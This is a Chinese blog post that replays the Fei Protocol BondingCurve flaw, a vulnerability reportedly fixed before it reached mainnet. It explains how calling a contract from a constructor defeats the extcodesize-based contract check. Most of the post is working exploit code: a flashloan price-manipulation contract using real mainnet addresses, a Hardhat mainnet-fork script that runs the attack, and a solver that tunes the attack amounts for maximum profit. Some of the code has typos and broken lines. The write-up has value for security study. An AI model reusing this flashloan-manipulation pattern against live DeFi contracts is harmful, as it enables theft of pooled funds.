Hack Replay - Fei Protocol

  • bixia1994
  • 更新于 2021-08-14 21:56
  • 阅读 308

Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。

Hack Replay - Fei Protocol

Fei protocol是一个稳定币项目,这篇文章主要是Fei Protocol在合约编写中的一个漏洞分析,由于该漏洞发现的早,并未部署在主网上,故没有造成任何损失。但是其对于如何分析漏洞,如何在本地环境中模拟漏洞有着重要的借鉴作用。本文的参考链接如下:Fei Protocol Flashloan Vulnerability Postmortem | by Immunefi | Immunefi | Medium

fei.jpeg

漏洞合约

此次出漏洞的合约是BondingCurve合约,其漏洞函数为:

function allocate() external override postGenesis whenNotPaused {
    require((!Address.isContract(msg.sender)) || msg.sender == core().genesisGroup(), "BondingCurve: Caller is a contract");
    uint256 amount = getTotalPCVHeld();
    require(amount != 0, "BondingCurve: No PCV held");

    _allocate(amount);
    _incentivize();

    emit Allocate(msg.sender, amount);
}

这个函数中,漏洞在于!Address.isContract(msg.sender)这一个检查,该检查用于判断调用该函数的地址是否是一个合约地址还是是一个EOA地址。

我们进入@openzeppelin/contracts/utils/Address.sol中,进一步查看isContract函数:

function isContract(address account) internal view returns (bool) {
    // This method relies on extcodesize, which returns 0 for contracts in
    // construction, since the code is only stored at the end of the
    // constructor execution.

    uint256 size;
    assembly {
        size := extcodesize(account)
    }
    return size > 0;
}

isContract的方法中,我们可以看到它检查的是一个地址对应的extcodesize, 认为当extcodesize(addr) > 0就是合约。

漏洞分析

首先我们看下黄皮书中关于extcodesize的解释:

$$ \boldsymbol{\mu}'{\mathbf{s}}[0] \equiv \begin{cases} \lVert \mathbf{b} \rVert & \text{if} \quad \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}] \neq \varnothing \ 0 & \text{otherwise} \end{cases} $$

$$ \mathtt{KEC}(\mathbf{b}) \equiv \boldsymbol{\sigma}[\boldsymbol{\mu}{\mathbf{s}}[0] \bmod 2^{160}]{\mathrm{c}} $$

对上述定义的简单描述为:如果该外部地址对应的账户状态存在,则返回外部地址的代码长度,否则返回0。即如果外部地址是一个有代码的合约地址,就会返回该合约的代码长度。

同时,在黄皮书7.1节中,详细讨论了在合约创建过程中,extcodesized的情况:

请注意,当初始化代码执行时,新创建的地址已经被创建而存在,但没有内在的主体代码。即在初始化代码执行期间,地址上的${EXTCODESIZE}$应该返回0,这是账户的代码长度,而${CODESIZE}$应该返回初始化代码的长度。

因此,它在这段时间内收到的任何消息调用都不会导致代码被执行。

如果初始化执行以${SELFDESTRUCT}$指令结束,这个问题就没有意义了,因为账户将在交易完成前被删除。对于一个正常的${STOP}$代码,或者如果返回的代码是空的,那么这个状态就会留下一个僵尸账户,任何剩余的余额将被永远锁定在这个账户中。

由此可见,通过extcodesize来判断一个地址是不是合约地址,并不是一个充分必要条件,而是一个必要不充分条件。

故该漏洞可以被如下方式利用:

pragma solidity ^0.6.0;
import "./IBondingCurve.sol";
contract FakeEOA{
    constrctor(IBondingCurve iBondingCurve) public {
        iBondingCurve.allocate();
    }
}

攻击思路分析

简单的指出漏洞并不是我们的目的,我们的目的是模拟利用这个漏洞进行攻击。FEI协议是一个去中心化的算法稳定币,通过各种方法将Fei的价格维持在固定值上。一种方法是通过协议控制价值(PCV), FEI协议本身控制了Uniswap V2池中ETH/FEI对的大量流动性提供者代币(LP代币)(一个LP代币代表了每个池子里的代币按比例存入的份额)。

当FEI的价格超过1.01美元时,用户可以用ETH从FEI 的Bonding Curve中购买新造的FEI,以套利二级市场的价格,使其降至1美元。这些ETH被托管在Bonding Curve中,直到保管人重新分配它,此时,它将以现货价格存入ETH-FEI对,即调用Uniswap的mint方法。

问题是任何人都可以调用allocate(),该函数获取协议控制的价值(PCV),并以当时的市场价格(而不是ETH/USD的预言机价格)将其放入Uniswap池。

Address.isContractnonContract修饰符是为了防止在allocate操作过程中对FEI进行价格操纵,但这个防护措施在写的时候并没有发挥作用。如果被一个合约的构造器调用,它可以被绕过,正如我们在上面看到的。

故思路整理为:

//从AAVE的WETH资金池中闪电贷到一笔WETH
//将贷款得到的WETH中的一部分用于swap WETH/FEI交易对,将FEI的价格拉高
//将贷款得到的WETH中的另一部分在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI
//借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI
//将此前得到的所有FEI全部swap回WETH
//偿还闪电贷的WETH,结余资金即为利润
contract Exploit is IFlashLoanReceiver{
    IWETH private immutable WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 private immutable FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA);

    IAaveLendingPool private immutable AAVE_LENDING_POOL = IAaveLendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
    address public immutable override ADDRESSES_PROVIDER = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5;
    address public immutable override LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;

    IUniswapV2Router02 private immutable ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Pair private immutable WETH_FEI_POOL = IUniswapV2Pair(0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878);

    IUpdateableOracle private immutable UNISWAP_ORACLE = IUpdateableOracle(0x087F35bd241e41Fc28E43f0E8C58d283DD55bD65);
    IBondingCurve private immutable ETH_BONDING_CURVE = IBondingCurve(0xe1578B4a32Eaefcd563a9E6d0dc02a4213f673B7);

    uint public _b;
    uint public _d;
    uint public _aavePremium;

    constructor(uint b, uint d) public {
        _b = b;
        _d = d;
        //update oracle
        UNISWAP_ORACLE.update();
        console.log("udpate oracle");
        f
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external override  returns(bool){
        _aavePremium = premiums[0];
        console.log("received WETH flashloan with premium",_aavePremium / 10**18);
        //setp1:
        dump();
        buyFromBondingCurve();
        allocate();
        buyBack();
        repayWETH();
        console.log("repaying flashloan");
        return true;
    }
    receive() external payable();
}

步骤一:从AAVE中贷到贷款

function flashloan() public {
    address[] memory assests = new address[](1);
    assests[0] = address(WETH);
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = _b+_d;
    uint256[] memory modes = new uint256[](1);
    modes[0] = 0;
    bytes memory params = new bytes(0x00);

    AAVE_LENDING_POOL.flashLoan(
        address(this), //address receiverAddress,
        assets,//address[] calldata assets,
        amounts,//uint256[] calldata amounts,
        modes,//uint256[] calldata modes,
        address(0),//address onBehalfOf,
        params,//bytes calldata params,
        0//uint16 referralCode
      );
    console.log("ETH balance", WETH.balanceOf(address(this))/10**18);

}

步骤二:将贷款得到的WETH中的一部分_d_用于swap WETH/FEI交易对,将FEI的价格拉高

function dump() internal {
    WETH.approve(address(ROUTER_02),uint(-1));
    address[] memory data = new address[](2);
    data[0] = address(WETH);
    data[1] = address(FEI);
    uint[] memory amounts = new uint[](2);
    amounts = ROUTER_02.swapExactTokensForTokens(
        _d,
        0,
        data,
        address(this),
        uint(-1)
    );
    console.log("Dumped: ",_d / 10**18, "ETH on WETH/FEI pool");
    console.log("FEI earned by dumped WETH: ", amounts[1]);
}

第三步:将贷款得到的WETH中的另一部分_b_在FEI protocol中调用purchase方法,仍然按照$1.01的价格买FEI

function buyFromBondingCurve() internal {
    //先将WETH换成ETH
    WETH.withdraw(_b);
    //发送ETH到purchase方法上
    uint amount = ETH_BONDING_CURVE.purchase{value:_b}(address(this), _b);
    console.log("bought fei from bonding curve for ",_b / 10**18, "ETH");
    console.log("fei bounght is ",amount);
    console.log("fei total is", FEI.balanceOf(address(this)));
}

第四步:借助外部合约在其构造函数中调用allocate方法,让FEI protocol按照被拉高价格的WETH/FEI比例存入WETH和FEI

function allocate() internal {
    new Allocator(ETH_BONDING_CURVE);
    console.log("Allocate ETH from fei protocol");
}

第五步:将此前得到的所有FEI全部swap回WETH

function buyBack() internal {
    FEI.approve(address(ROUTER_02),uint(-1));
    uint amountIn = FEI.balanceOf(address(this));
    address[] memory data = new address[](2);
    data[0] = address(FEI);
    data[1] = address(WETH);
    uint[] memory amounts = new uint[](2);
    amounts = ROUTER_02.swapExactTokensForTokens(
        amountIn,
        0,
        data,
        address(this),
        uint(-1)
    );
    console.log("Swapped ", amountIn / 10**18, "fei on WETH/FEI pool");
}

第六步:偿还闪电贷的WETH,结余资金即为利润

function repayWETH() internal {
    //approve aave for flashloan payback
    WETH.approve(address(AAVE_LENDING_POOL), _b+_d+_aavePremium);
}

Hardhat 部署

通过查阅相关资料显示,该攻击在block高度为12350000时可用,在高度12500000时漏洞已被修复。故

const hre = require("hardhat");
async function main() {
//reset the local chain to a fork of mainnet
//so that the state is always a promise
    await hre.network.provider.request({
        method: "hardhat_reset",
        params: [{
            forking: {
                jsonRpcUrl: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
                blockNumber: 12350000
                // blockNumbeR: 12500000 // after fix
            }
        }]
    })
    //check this contract balance of WETH
    const WETH = await hre.ethers.getContractAt("IWETH",'0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2');
    //deploy poc contract
    d = "207569000000000000000000"
    b = "092430000000000000000000"
    const Exploit = await hre.ethers.getContractFactory("Exploit2");
    const exploit = await Exploit.deploy(d,b);
    console.log("Exploit deployed to: ", exploit.address);
    //let's run the exploit poc
    const balance0 = await WETH.balanceOf(exploit.address);
    console.log("balance before exploit ", balance0/1e18," ETH");
    console.log("start exploit");

    await exploit.flashloan();
    const balance1 = await WETH.balanceOf(exploit.address);
    console.log("if the balance is positive the exploit is success", balance1 - balance0);
    console.log("balance after exploit ", balance1 /1e18, " ETH");

}
main()
    .then(()=>process.exit(0))
    .catch(error =>{
        console.error(error);
        process.exit(1);
    });

最大利润点

要达到最大的利润点,需要满足如下公式:

$$ d=WETH{swap},b=WETH{purchase} $$

$$ FEI{swap}=R{FEI}^0-\frac{R{WETH}^0\cdot R{FEI}^0}{R_{WETH}^0+d} $$

$$ FEI{purchase} = b\cdot \frac{R{FEI}^0}{R_{WETH}^0} $$

当调用allocate方法时, FEI合约会按照此时的价格向WETH/FEI资金池中添加流动性:

$$ WETH_{deposit}=b $$

$$ FEI{deposit}=b\cdot \frac{R{FEI}^0-FEI{swap}}{R{WETH}^0+d} $$

此时所有的FEI为:

$$ FEI{total}=FEI{swap}+FEI_{purchase} $$

将所有的FEI全部swap成WETH得到:

$$ WETH{total}=(R{WETH}^0+d+WETH{deposit})-\frac{(R{WETH}^0+d+WETH{deposit})\cdot (R{FEI}^0-FEI{swap}+FEI{deposit})}{(R{FEI}^0-FEI{swap}+FEI{deposit})+FEI{total}} $$

则利润为:

$$ profit=WETH_{total}-d-b $$

解方程组

这里我们调用gekko这个python库来解上面的方程组

from gekko import GEKKO

m = GEKKO()
#p0 就是在攻击前的WETH/FEI池子里的WETH数量
p0 = m.Param(value=141245.117)
#p1 就是在攻击前的WETH/FEI池子里的FEI数量
p1 = m.Param(value=463938347)
#peg 就是攻击前的WETH/FEI的价格
peg = m.Param(value=p1/p0)
#求目标参数b,d, 初始化为50000
d = m.Var(lb=0,value=50000)
b = m.Var(lb=0,value=50000)

m.Equation(d + b <= 700000)

#第一步,dump WETH到FEI/WETH池子
p0_d = p0+d
p1_d = (p0 * p1) / p0_d
r1_d = p1 - p1_d
#第二步,purchase FEI
r1_b = b * peg
#第三步, 调用allocate方法
p0_b = p0_d + b
# p1_b / p0_b = p1_d / p0_d 
p1_b = p1_d * (p0_b / p0_d) 
#第四步,将手上所有的FEI全部swap成WETH
p1_f = p1_b + r1_d + r1_b
p0_f = (p0_b * p1_b) / p1_f
#我们收到的WETH
r0_f = p0_b - p0_f
#我们的利润
profit = r0_f - b - d

#最大化我们的利润
m.Maximize(profit)
# 执行
m.options.IMODE = 3 # steady state optimization
m.solve()

print("solved:")
print("objective: " + str(m.options.objfcnval))
print("d: ", str(d.value))
print("b: ", str(b.value))

pp.png

往期推荐

Paradigm CTF-baby

合约升级模式-以compound为例

Paradigm CTF-Market

当产品经理拿着compound的白皮书跟你说他有一个绝妙的想法时,你应该怎么办?

Paradigm CTF-农场

Paradigm CTF-回文子串

当面试官问你Uniswap V2的时候,你应该想到什么?

点赞 2
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
目前在运营一个微信公众号:bug合约写手,欢迎关注. 对我感兴趣可以加我微信:woodward1993